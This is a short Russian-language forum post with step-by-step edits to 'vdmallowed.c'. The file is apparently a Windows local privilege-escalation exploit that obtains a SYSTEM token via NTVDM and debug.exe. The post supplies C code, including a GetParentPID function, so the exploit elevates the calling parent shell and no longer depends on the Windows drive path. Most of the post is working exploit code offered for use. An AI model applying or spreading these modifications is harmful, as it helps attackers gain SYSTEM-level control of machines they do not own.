Ну вот моя дороботка.
В файле vdmallowed.c правим
1) в начале добавляем #include <tlhelp32.h>
2) полностью удаляем функцию PrepareProcessForSystemToken
3) Этот код
Код:
if (PrepareProcessForSystemToken("C:\\WINDOWS\\SYSTEM32\\CMD.EXE", &ShellPid) != TRUE) {
LogMessage(L_ERROR, "PrepareProcessForSystemToken() returned failure");
goto finished;
}
заменяем на этот
Код:
ShellPid = GetParentPID();
if (!ShellPid)
{
LogMessage(L_ERROR, "GetParentPID() returned failure");
goto finished;
}
4) Вписываем вот эту функцию
Код:
ULONG GetParentPID()
{
HANDLE h;
ULONG pid;
PROCESSENTRY32 pe32;
ULONG ret = 0;
pid = GetCurrentProcessId();
h = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (h != INVALID_HANDLE_VALUE)
{
pe32.dwSize = sizeof(PROCESSENTRY32);
if (!Process32First(h, &pe32))
{
CloseHandle(h);
return 0;
}
do
{
if (pe32.th32ProcessID == pid)
{
ret = pe32.th32ParentProcessID;
break;
}
} while (Process32Next(h, &pe32));
CloseHandle(h);
}
return ret;
}
т.е. вся идея не в том, чтобы создать процес и получить его пид, а в том, чтобы узнать пид родителя.
5) перед SpawnNTVDMAndGetUsefulAccess("C:\\WINDOWS\\SYSTEM3 2\\DEBUG.EXE", &VdmHandle)
пишем:
char buf[260];
GetSystemDirectoryA(buf, 256);
lstrcatA(buf, "\\debug.exe");
SpawnNTVDMAndGetUsefulAccess("C:\\WINDOWS\\SYSTEM3 2\\DEBUG.EXE", &VdmHandle)
заменяем на
SpawnNTVDMAndGetUsefulAccess(buf, &VdmHandle)
т.е. в данном случае мы не будем зависеть от диска на котором находится винда.